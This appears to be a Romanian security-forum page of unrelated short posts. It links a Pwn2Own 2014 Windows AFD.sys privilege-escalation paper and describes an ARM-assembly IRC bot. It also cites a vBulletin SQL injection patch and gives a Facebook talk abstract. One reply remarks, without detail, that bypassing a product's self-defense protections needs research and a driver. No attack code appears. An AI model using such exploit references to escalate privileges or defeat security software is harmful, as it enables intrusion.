http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf

[h=1]armbot[/h] armbot is an irc bot written in armv6-linux-gnueabi assembler. [h=1]features[/h] connect to a non-ssl irc server ping/pong join a channel respond to "armbot: source" [h=1]motivation[/h] lol [h=1]requirements to run on x86_64[/h] qemu-arm as/ld with armv6 target (optional) gdb with armv6 target for debugging It may be necessary to change the XPREFIX variable in the Makefile to match the local cross-compilation binaries. Sursa: https://github.com/wyc/armbot#armbot

Se poate afla. Trebuie doar facut research. Si un driver. Si un bypass la protectiile lor de self-defense.

Thanks. ComputerWorld: Emergency vBulletin patch fixes SQL injection vulnerability - Computerworld

[h=1]Hacker Way: Rethinking Web App Development at Facebook[/h] Delivering reliable, high-performance web experiences at Facebook's scale has required us to challenge some long-held assumptions about software development. Join us to learn how we abandoned the traditional MVC paradigm in favor of a more functional application architecture.